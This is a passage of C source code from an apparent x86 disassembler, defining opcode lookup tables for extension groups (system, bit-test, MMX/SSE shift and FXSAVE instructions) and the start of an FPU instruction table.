\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n};\n\nINST inst_table_ext7[8] = {\n        { INSTRUCTION_TYPE_SGDT,  \"sgdt\",       AM_M|OT_d|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SIDT,  \"sidt\",       AM_M|OT_d|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_PRIV,  \"lgdt\",       AM_M|OT_d|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_PRIV,  \"lidt\",       AM_M|OT_d|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_PRIV,  \"smsw\",       AM_E|OT_w|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n        { INSTRUCTION_TYPE_PRIV,  \"lmsw\",       AM_E|OT_w|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_PRIV,  \"invlpg\",     AM_M|OT_b|P_r,               FLAGS_NONE,                FLAGS_NONE,   1 },\n};\nINST inst_monitor =\n\t{ INSTRUCTION_TYPE_OTHER,  \"monitor\",   FLAGS_NONE|P_w,              FLAGS_NONE|P_r,            FLAGS_NONE,   0 };\nINST inst_mwait =\n\t{ INSTRUCTION_TYPE_OTHER,  \"mwait\",     FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 };\n\nINST inst_table_ext8[8] = {\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n        { INSTRUCTION_TYPE_BT,     \"bt\",        AM_E|OT_v|P_r,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_BTS,    \"bts\",       AM_E|OT_v|P_r,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_BTR,    \"btr\",       AM_E|OT_v|P_r,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_BTC,    \"btc\",       AM_E|OT_v|P_r,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n};\n\nINST inst_table_ext9[8] = {\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_SSE,   \"cmpxch8b\",   AM_M|OT_q,                   FLAGS_NONE,                FLAGS_NONE,   1 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n};\n\nINST inst_table_ext10[8] = {\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n};\n\n// XXX: not used yet\nINST inst_table_ext11[8] = {\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n};\n\n// XXX: intel manual says AM_P.. but that seems to produce wrong disasm\nINST inst_table_ext12[8] = {\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n        { INSTRUCTION_TYPE_MMX,    \"psrlw\",     AM_Q|OT_q|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n        { INSTRUCTION_TYPE_MMX,    \"psraw\",     AM_Q|OT_q|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n        { INSTRUCTION_TYPE_MMX,    \"psllw\",     AM_Q|OT_q|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n};\n// XXX: intel manual says AM_P.. but that seems to produce wrong disasm\nINST inst_table_ext12_66[8] = {\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n        { INSTRUCTION_TYPE_SSE,    \"psrlw\",     AM_W|OT_dq|P_w,              AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n        { INSTRUCTION_TYPE_SSE,    \"psraw\",     AM_W|OT_dq|P_w,              AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n        { INSTRUCTION_TYPE_SSE,    \"psllw\",     AM_W|OT_dq|P_w,              AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n};\n\n// XXX: intel manual says AM_P.. but that seems to produce wrong disasm\nINST inst_table_ext13[8] = {\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n        { INSTRUCTION_TYPE_MMX,    \"psrld\",     AM_Q|OT_q|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n        { INSTRUCTION_TYPE_MMX,    \"psrad\",     AM_Q|OT_q|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n        { INSTRUCTION_TYPE_MMX,    \"pslld\",     AM_Q|OT_q|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n};\n// XXX: intel manual says AM_P.. but that seems to produce wrong disasm\nINST inst_table_ext13_66[8] = {\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n        { INSTRUCTION_TYPE_SSE,    \"psrld\",     AM_W|OT_dq|P_w,              AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n        { INSTRUCTION_TYPE_SSE,    \"psrad\",     AM_W|OT_dq|P_w,              AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n        { INSTRUCTION_TYPE_SSE,    \"pslld\",     AM_W|OT_dq|P_w,              AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n};\n\n// XXX: intel manual says AM_P.. but that seems to produce wrong disasm\nINST inst_table_ext14[8] = {\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n        { INSTRUCTION_TYPE_MMX,    \"psrlq\",     AM_Q|OT_q|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n        { INSTRUCTION_TYPE_MMX,    \"psllq\",     AM_Q|OT_q|P_w,               AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n};\n// XXX: intel manual says AM_P.. but that seems to produce wrong disasm\nINST inst_table_ext14_66[8] = {\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n        { INSTRUCTION_TYPE_SSE,    \"psrlq\",     AM_W|OT_dq|P_w,              AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"psrldq\",    AM_W|OT_dq|P_w,              AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n        { INSTRUCTION_TYPE_SSE,    \"psllq\",     AM_W|OT_dq|P_w,              AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"pslldq\",    AM_W|OT_dq|P_w,              AM_I|OT_b|P_r,             FLAGS_NONE,   1 },\n};\n\nINST inst_table_ext15[8] = {\n        { INSTRUCTION_TYPE_OTHER, \"fxsave\",     AM_E|OT_v,                   FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER, \"fxrstor\",    AM_E|OT_v,                   FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER, \"ldmxcsr\",    AM_E|OT_v,                   FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER, \"stmxcsr\",    AM_E|OT_v,                   FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n        { INSTRUCTION_TYPE_OTHER, \"sfence\",     AM_E|OT_v,                   FLAGS_NONE,                FLAGS_NONE,   1 },\n};\n\nINST inst_table_ext16[8] = {\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n};\n\n// Table of extension tables\n\nINST * inst_table_ext[25] = {\n\tinst_table_ext1_1,\n\tinst_table_ext1_2,\n\tinst_table_ext1_3,\n\tinst_table_ext2_1,\n\tinst_table_ext2_2,\n\tinst_table_ext2_3,\n\tinst_table_ext2_4,\n\tinst_table_ext2_5,\n\tinst_table_ext2_6,\n\tinst_table_ext3_1,\n\tinst_table_ext3_2,\n\tinst_table_ext4,\n\tinst_table_ext5,\n\tinst_table_ext6,\n\tinst_table_ext7,\n\tinst_table_ext8,\n\tinst_table_ext9,\n\tinst_table_ext10,\n\tinst_table_ext11,\n\tinst_table_ext12,\n\tinst_table_ext13,\n\tinst_table_ext14,\n\tinst_table_ext15,\n\tinst_table_ext16,\n};\n\n// FPU instruction tables\n\n/*\n * Tables are composed in two parts:\n *\n * - 1st part (index 0-7) are identified by the reg field of MODRM byte\n *   if the MODRM is < 0xc0. reg field can be used directly as an index to table.\n *\n * - 2nd part (8 - 0x47) are identified by the MODRM byte itself. In that case,\n *   the index can be calculated by \"index = MODRM - 0xb8\"\n *\n */\nINST inst_table_fpu_d8[72] = {\n\t{ INSTRUCTION_TYPE_FADD,   \"fadds\",     AM_E|OT_d|P_w,               FLAGS_NONE|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FMUL,   \"fmuls\",     AM_E|OT_d|P_w,               FLAGS_NONE|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FCOM,   \"fcoms\",     AM_E|OT_d|P_w,               FLAGS_NONE|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FCOMP,  \"fcomps\",    AM_E|OT_d|P_w,               FLAGS_NONE|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FSUB,   \"fsubs\",     AM_E|OT_d|P_w,               FLAGS_NONE|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FSUBR,  \"fsubrs\",    AM_E|OT_d|P_w,               FLAGS_NONE|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FDIV,   \"fdivs\",     AM_E|OT_d|P_w,               FLAGS_NONE|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FDIVR,  \"fdivrs\",    AM_E|OT_d|P_w,               FLAGS_NONE|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FADD,   \"fadd\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FADD,   \"fadd\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST1|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FADD,   \"fadd\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST2|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FADD,   \"fadd\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST3|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FADD,   \"fadd\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST4|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FADD,   \"fadd\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST5|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FADD,   \"fadd\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST6|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FADD,   \"fadd\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST7|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FMUL,   \"fmul\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FMUL,   \"fmul\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST1|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FMUL,   \"fmul\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST2|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FMUL,   \"fmul\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST3|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FMUL,   \"fmul\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST4|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FMUL,   \"fmul\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST5|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FMUL,   \"fmul\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST6|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FMUL,   \"fmul\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST7|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOM,   \"fcom\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOM,   \"fcom\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST1|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOM,   \"fcom\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST2|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOM,   \"fcom\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST3|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOM,   \"fcom\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST4|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOM,   \"fcom\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST5|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOM,   \"fcom\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST6|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOM,   \"fcom\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST7|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOMP,  \"fcomp\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOMP,  \"fcomp\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST1|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOMP,  \"fcomp\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST2|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOMP,  \"fcomp\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST3|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOMP,  \"fcomp\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST4|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOMP,  \"fcomp\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST5|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOMP,  \"fcomp\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST6|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOMP,  \"fcomp\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST7|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUB,   \"fsub\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUB,   \"fsub\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST1|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUB,   \"fsub\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST2|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUB,   \"fsub\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST3|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUB,   \"fsub\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST4|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUB,   \"fsub\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST5|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUB,   \"fsub\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST6|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUB,   \"fsub\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST7|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUBR,  \"fsubr\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUBR,  \"fsubr\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST1|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUBR,  \"fsubr\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST2|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUBR,  \"fsubr\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST3|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUBR,  \"fsubr\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST4|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUBR,  \"fsubr\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST5|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUBR,  \"fsubr\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST6|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUBR,  \"fsubr\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST7|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIV,   \"fdiv\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIV,   \"fdiv\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST1|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIV,   \"fdiv\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST2|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIV,   \"fdiv\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST3|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIV,   \"fdiv\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST4|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIV,   \"fdiv\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST5|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIV,   \"fdiv\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST6|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIV,   \"fdiv\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST7|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVR,  \"fdivr\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVR,  \"fdivr\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST1|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVR,  \"fdivr\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST2|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVR,  \"fdivr\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST3|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVR,  \"fdivr\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST4|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVR,  \"fdivr\",     AM_REG|REG_ST0|F_f|P_w,      